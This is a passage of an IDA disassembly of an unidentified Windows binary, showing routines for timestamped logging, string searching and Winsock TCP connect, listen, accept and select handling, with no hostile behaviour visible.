		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E5C


loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE5C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 2930000h
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE5C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E5C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E5C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2D5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E45
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1DBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5EA1BD
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EA1BD
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6765


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2D5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D666Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5EA1BD
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EA1BD
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB28
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB28
		inc	eax
		mov	dword_50BB28, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB28
		inc	edx
		mov	dword_50BB28, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F60
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB28
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB28
		dec	eax
		mov	dword_50BB28, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB28
		dec	ecx
		mov	dword_50BB28, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DC0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		call	near ptr 71AB406Ah
		nop
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F60
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
